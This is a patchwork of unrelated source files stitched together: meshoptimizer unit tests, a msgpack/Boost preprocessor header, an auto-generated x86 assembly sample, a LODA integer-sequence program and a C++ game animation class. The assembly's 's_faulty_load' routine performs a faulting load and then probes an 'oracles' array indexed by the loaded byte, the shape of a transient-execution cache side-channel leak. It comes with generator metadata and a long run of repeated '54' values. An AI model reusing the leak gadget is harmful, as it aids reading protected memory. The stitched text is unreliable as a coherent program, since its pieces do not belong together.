0}; const unsigned int ibd[] = {0, 0, 0}; const unsigned int ib1[] = {0, 1, 2}; // all of the bounds below are degenerate as they use 0 triangles, one topology-degenerate triangle and one position-degenerate triangle respectively meshopt_Bounds bounds0 = meshopt_computeClusterBounds(0, 0, 0, 0, 12); meshopt_Bounds boundsd = meshopt_computeClusterBounds(ibd, 3, vbd, 3, 12); meshopt_Bounds bounds1 = meshopt_computeClusterBounds(ib1, 3, vbd, 3, 12); assert(bounds0.center[0] == 0 && bounds0.center[1] == 0 && bounds0.center[2] == 0 && bounds0.radius == 0); assert(boundsd.center[0] == 0 && boundsd.center[1] == 0 && boundsd.center[2] == 0 && boundsd.radius == 0); assert(bounds1.center[0] == 0 && bounds1.center[1] == 0 && bounds1.center[2] == 0 && bounds1.radius == 0); const float vb1[] = {1, 0, 0, 0, 1, 0, 0, 0, 1}; const unsigned int ib2[] = {0, 1, 2, 0, 2, 1}; // these bounds have a degenerate cone since the cluster has two triangles with opposite normals meshopt_Bounds bounds2 = meshopt_computeClusterBounds(ib2, 6, vb1, 3, 12); assert(bounds2.cone_apex[0] == 0 && bounds2.cone_apex[1] == 0 && bounds2.cone_apex[2] == 0); assert(bounds2.cone_axis[0] == 0 && bounds2.cone_axis[1] == 0 && bounds2.cone_axis[2] == 0); assert(bounds2.cone_cutoff == 1); assert(bounds2.cone_axis_s8[0] == 0 && bounds2.cone_axis_s8[1] == 0 && bounds2.cone_axis_s8[2] == 0); assert(bounds2.cone_cutoff_s8 == 127); // however, the bounding sphere needs to be in tact (here we only check bbox for simplicity) assert(bounds2.center[0] - bounds2.radius <= 0 && bounds2.center[0] + bounds2.radius >= 1); assert(bounds2.center[1] - bounds2.radius <= 0 && bounds2.center[1] + bounds2.radius >= 1); assert(bounds2.center[2] - bounds2.radius <= 0 && bounds2.center[2] + bounds2.radius >= 1); } static size_t allocCount; static size_t freeCount; static void* customAlloc(size_t size) { allocCount++; return malloc(size); } static void customFree(void* ptr) { freeCount++; free(ptr); } static void customAllocator() { meshopt_setAllocator(customAlloc, customFree); assert(allocCount == 0 && freeCount == 0); float vb[] = {1, 0, 0, 0, 1, 0, 0, 0, 1}; unsigned int ib[] = {0, 1, 2}; unsigned short ibs[] = {0, 1, 2}; // meshopt_computeClusterBounds doesn't allocate meshopt_computeClusterBounds(ib, 3, vb, 3, 12); assert(allocCount == 0 && freeCount == 0); // ... unless IndexAdapter is used meshopt_computeClusterBounds(ibs, 3, vb, 3, 12); assert(allocCount == 1 && freeCount == 1); // meshopt_optimizeVertexFetch allocates internal remap table and temporary storage for in-place remaps meshopt_optimizeVertexFetch(vb, ib, 3, vb, 3, 12); assert(allocCount == 3 && freeCount == 3); // ... plus one for IndexAdapter meshopt_optimizeVertexFetch(vb, ibs, 3, vb, 3, 12); assert(allocCount == 6 && freeCount == 6); meshopt_setAllocator(operator new, operator delete); // customAlloc & customFree should not get called anymore meshopt_optimizeVertexFetch(vb, ib, 3, vb, 3, 12); assert(allocCount == 6 && freeCount == 6); } static void emptyMesh() { meshopt_optimizeVertexCache(0, 0, 0, 0); meshopt_optimizeVertexCacheFifo(0, 0, 0, 0, 16); meshopt_optimizeOverdraw(0, 0, 0, 0, 0, 12, 1.f); } static void simplifyStuck() { // tetrahedron can't be simplified due to collapse error restrictions float vb1[] = {0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1}; unsigned int ib1[] = {0, 1, 2, 0, 2, 3, 0, 3, 1, 2, 1, 3}; assert(meshopt_simplify(ib1, ib1, 12, vb1, 4, 12, 6, 1e-3f) == 12); // 5-vertex strip can't be simplified due to topology restriction since middle triangle has flipped winding float vb2[] = {0, 0, 0, 1, 0, 0, 2, 0, 0, 0.5f, 1, 0, 1.5f, 1, 0}; unsigned int ib2[] = {0, 1, 3, 3, 1, 4, 1, 2, 4}; // ok unsigned int ib3[] = {0, 1, 3, 1, 3, 4, 1, 2, 4}; // flipped assert(meshopt_simplify(ib2, ib2, 9, vb2, 5, 12, 6, 1e-3f) == 6); assert(meshopt_simplify(ib3, ib3, 9, vb2, 5, 12, 6, 1e-3f) == 9); } static void simplifySloppyStuck() { const float vb[] = {0, 0, 0, 0, 0, 0, 0, 0, 0}; const unsigned int ib[] = {0, 1, 2, 0, 1, 2}; // simplifying down to 0 triangles results in 0 immediately assert(meshopt_simplifySloppy(0, ib, 3, vb, 3, 12, 0) == 0); // simplifying down to 2 triangles given that all triangles are degenerate results in 0 as well assert(meshopt_simplifySloppy(0, ib, 6, vb, 3, 12, 6) == 0); } static void simplifyPointsStuck() { const float vb[] = {0, 0, 0, 0, 0, 0, 0, 0, 0}; // simplifying down to 0 points results in 0 immediately assert(meshopt_simplifyPoints(0, vb, 3, 12, 0) == 0); } void runTests() { decodeIndexV0(); decodeIndex16(); encodeIndexMemorySafe(); decodeIndexMemorySafe(); decodeIndexRejectExtraBytes(); decodeIndexRejectMalformedHeaders(); decodeVertexV0(); encodeVertexMemorySafe(); decodeVertexMemorySafe(); decodeVertexRejectExtraBytes(); decodeVertexRejectMalformedHeaders(); clusterBoundsDegenerate(); customAllocator(); emptyMesh(); simplifyStuck(); simplifySloppyStuck(); simplifyPointsStuck(); }
# /* Copyright (C) 2001 # * Housemarque Oy # * http://www.housemarque.com # * # * Distributed under the Boost Software License, Version 1.0. (See # * accompanying file LICENSE_1_0.txt or copy at # * http://www.boost.org/LICENSE_1_0.txt) # */ # # /* Revised by Paul Mensonides (2002) */ # # /* See http://www.boost.org for most recent version. */ # # ifndef MSGPACK_PREPROCESSOR_LIST_FILTER_HPP # define MSGPACK_PREPROCESSOR_LIST_FILTER_HPP # # include <rpc/msgpack/preprocessor/config/config.hpp> # include <rpc/msgpack/preprocessor/control/if.hpp> # include <rpc/msgpack/preprocessor/list/fold_right.hpp> # include <rpc/msgpack/preprocessor/tuple/elem.hpp> # include <rpc/msgpack/preprocessor/tuple/rem.hpp> # # /* MSGPACK_PP_LIST_FILTER */ # # if ~MSGPACK_PP_CONFIG_FLAGS() & MSGPACK_PP_CONFIG_EDG() # define MSGPACK_PP_LIST_FILTER(pred, data, list) MSGPACK_PP_TUPLE_ELEM(3, 2, MSGPACK_PP_LIST_FOLD_RIGHT(MSGPACK_PP_LIST_FILTER_O, (pred, data, MSGPACK_PP_NIL), list)) # else # define MSGPACK_PP_LIST_FILTER(pred, data, list) MSGPACK_PP_LIST_FILTER_I(pred, data, list) # define MSGPACK_PP_LIST_FILTER_I(pred, data, list) MSGPACK_PP_TUPLE_ELEM(3, 2, MSGPACK_PP_LIST_FOLD_RIGHT(MSGPACK_PP_LIST_FILTER_O, (pred, data, MSGPACK_PP_NIL), list)) # endif # # if ~MSGPACK_PP_CONFIG_FLAGS() & MSGPACK_PP_CONFIG_EDG() # define MSGPACK_PP_LIST_FILTER_O(d, pdr, elem) MSGPACK_PP_LIST_FILTER_O_D(d, MSGPACK_PP_TUPLE_ELEM(3, 0, pdr), MSGPACK_PP_TUPLE_ELEM(3, 1, pdr), MSGPACK_PP_TUPLE_ELEM(3, 2, pdr), elem) # else # define MSGPACK_PP_LIST_FILTER_O(d, pdr, elem) MSGPACK_PP_LIST_FILTER_O_I(d, MSGPACK_PP_TUPLE_REM_3 pdr, elem) # define MSGPACK_PP_LIST_FILTER_O_I(d, im, elem) MSGPACK_PP_LIST_FILTER_O_D(d, im, elem) # endif # # if ~MSGPACK_PP_CONFIG_FLAGS() & MSGPACK_PP_CONFIG_DMC() # define MSGPACK_PP_LIST_FILTER_O_D(d, pred, data, res, elem) (pred, data, MSGPACK_PP_IF(pred(d, data, elem), (elem, res), res)) # else # define MSGPACK_PP_LIST_FILTER_O_D(d, pred, data, res, elem) (pred, data, MSGPACK_PP_IF(pred##(d, data, elem), (elem, res), res)) # endif # # /* MSGPACK_PP_LIST_FILTER_D */ # # if ~MSGPACK_PP_CONFIG_FLAGS() & MSGPACK_PP_CONFIG_EDG() # define MSGPACK_PP_LIST_FILTER_D(d, pred, data, list) MSGPACK_PP_TUPLE_ELEM(3, 2, MSGPACK_PP_LIST_FOLD_RIGHT_ ## d(MSGPACK_PP_LIST_FILTER_O, (pred, data, MSGPACK_PP_NIL), list)) # else # define MSGPACK_PP_LIST_FILTER_D(d, pred, data, list) MSGPACK_PP_LIST_FILTER_D_I(d, pred, data, list) # define MSGPACK_PP_LIST_FILTER_D_I(d, pred, data, list) MSGPACK_PP_TUPLE_ELEM(3, 2, MSGPACK_PP_LIST_FOLD_RIGHT_ ## d(MSGPACK_PP_LIST_FILTER_O, (pred, data, MSGPACK_PP_NIL), list)) # endif # # endif
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0xc4f4, %rax nop nop nop nop xor %r15, %r15 mov (%rax), %r8w nop nop nop xor %r10, %r10 lea addresses_normal_ht+0x1c328, %r15 nop nop nop nop nop cmp $42807, %r9 movl $0x61626364, (%r15) nop nop nop add $23543, %rbp lea addresses_WT_ht+0x1a8c2, %rsi lea addresses_UC_ht+0x8980, %rdi nop xor %r10, %r10 mov $116, %rcx rep movsw nop nop nop nop nop inc %r10 lea addresses_WT_ht+0x1976e, %r9 nop nop nop nop nop sub %rsi, %rsi mov $0x6162636465666768, %rax movq %rax, (%r9) nop nop nop nop nop add $22944, %r9 lea addresses_D_ht+0x84f3, %rbp nop nop nop nop nop and $38661, %rax movups (%rbp), %xmm6 vpextrq $1, %xmm6, %r9 inc %r9 lea addresses_D_ht+0x63c8, %rsi lea addresses_UC_ht+0x186e8, %rdi nop nop sub %r8, %r8 mov $30, %rcx rep movsb sub $8426, %rsi lea addresses_WC_ht+0x221c, %rsi lea addresses_normal_ht+0x10328, %rdi add %rax, %rax mov $127, %rcx rep movsl nop nop nop and %r8, %r8 lea addresses_WT_ht+0x1d3c8, %rsi lea addresses_D_ht+0x1b908, %rdi nop nop nop xor $20478, %rbp mov $56, %rcx rep movsb nop nop xor %rax, %rax lea addresses_WT_ht+0x70c8, %rsi lea addresses_D_ht+0xb800, %rdi nop nop xor %rbp, %rbp mov $0, %rcx rep movsl sub %rax, %rax lea addresses_WC_ht+0x8c8, %r10 nop dec %rdi mov (%r10), %rsi nop cmp %rcx, %rcx lea addresses_WC_ht+0x1d09b, %r8 cmp $17766, %rcx movw $0x6162, (%r8) nop nop nop and %r10, %r10 lea addresses_WT_ht+0x100c8, %rsi lea addresses_UC_ht+0x1bc8, %rdi nop nop nop nop nop inc %r10 mov $21, %rcx rep movsq nop nop nop cmp %r9, %r9 lea addresses_UC_ht+0x1bc8, %r9 nop dec %rcx movups (%r9), %xmm0 vpextrq $1, %xmm0, %rdi nop nop inc %rcx lea addresses_WC_ht+0x3cc8, %rsi nop nop and %rbp, %rbp and $0xffffffffffffffc0, %rsi movaps (%rsi), %xmm5 vpextrq $0, %xmm5, %rcx nop nop nop nop nop sub $35342, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %rax push %rbp push %rbx push %rsi // Store lea addresses_RW+0x1d2c8, %r13 nop nop nop nop nop add $59129, %rbx movl $0x51525354, (%r13) nop nop nop inc %rax // Store lea addresses_US+0xc8c8, %r13 nop nop nop nop xor $43745, %rbp movl $0x51525354, (%r13) nop nop nop sub $9220, %r13 // Store lea addresses_normal+0x1a88, %r11 sub %rsi, %rsi movb $0x51, (%r11) add $51687, %rsi // Faulty Load lea addresses_US+0xc8c8, %r13 nop nop nop add $40628, %rsi mov (%r13), %eax lea oracles, %rbp and $0xff, %rax shlq $12, %rax mov (%rbp,%rax,1), %rax pop %rsi pop %rbx pop %rbp pop %rax pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_RW', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': True, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 5, 'type': 'addresses_normal', 'AVXalign': False, 'size': 1}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 1, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8}} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}} {'src': {'same': True, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}} {'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}} {'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'NT': True, 'same': False, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'} {'54': 21829} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
; A075111: a(n)=Sum((-1)^(i+Floor(n/2))T(2i+e),(i=0,..,Floor(n/2))), where T(n) are tribonacci numbers (A000073) and e=(1/2)(1-(-1)^n). ; 0,1,1,1,3,6,10,18,34,63,115,211,389,716,1316,2420,4452,8189,15061,27701,50951,93714,172366,317030,583110,1072507,1972647,3628263,6673417,12274328,22576008,41523752,76374088,140473849,258371689 mov $2,$0 mov $4,2 lpb $4 mov $0,$2 sub $4,1 add $0,$4 trn $0,1 seq $0,301657 ; Number of nX3 0..1 arrays with every element equal to 0, 1 or 4 horizontally or vertically adjacent elements, with upper left element zero. div $0,2 sub $0,1 mov $3,$4 mul $3,$0 add $1,$3 mov $5,$0 lpe min $2,1 mul $2,$5 sub $1,$2 mov $0,$1
// // Created by chauvin on 22/01/18. // #include "Animation.hpp" #include "../Sprite/Sprite.hpp" namespace TacosEngine { Animation::Animation(const std::string &myname, const std::shared_ptr<GameObject> &gameObject, bool loop, int frame_speed, const std::vector<TacosEngine::ITexture *> &frames) : Component(myname, gameObject), _loop(loop), _frame_speed( frame_speed), _frames(frames) { _frame = 0; _check_speed = 0; } void Animation::update(int tick) { std::shared_ptr<Sprite> sp = std::dynamic_pointer_cast<Sprite>(_object); if (!this->_loop && _frame >= this->_frames.size() - 1) { this->setActive(false); return; } if (this->_frame <= this->_frames.size() && (_check_speed) >= _frame_speed) { _frame++; _check_speed = 0; } if (_frame > this->_frames.size() - 1 && this->_loop) { _frame = 0; _check_speed = 0; } _check_speed++; if (sp->getTexture() != this->_frames[_frame]) sp->setTexture(this->_frames[_frame]); } bool Animation::is_loop() const { return _loop; } void Animation::set_loop(bool _loop) { Animation::_loop = _loop; } int Animation::get_frame_speed() const { return _frame_speed; } void Animation::set_frame_speed(int _frame_speed) { Animation::_frame_speed = _frame_speed; } const std::vector<TacosEngine::ITexture *> &Animation::get_frames() const { return _frames; } void Animation::set_frames(const std::vector<TacosEngine::ITexture *> &_frames) { Animation::_frames = _frames; } int Animation::get_frame() const { return _frame; } void Animation::set_frame(unsigned int _frame) { Animation::_frame = _frame; } }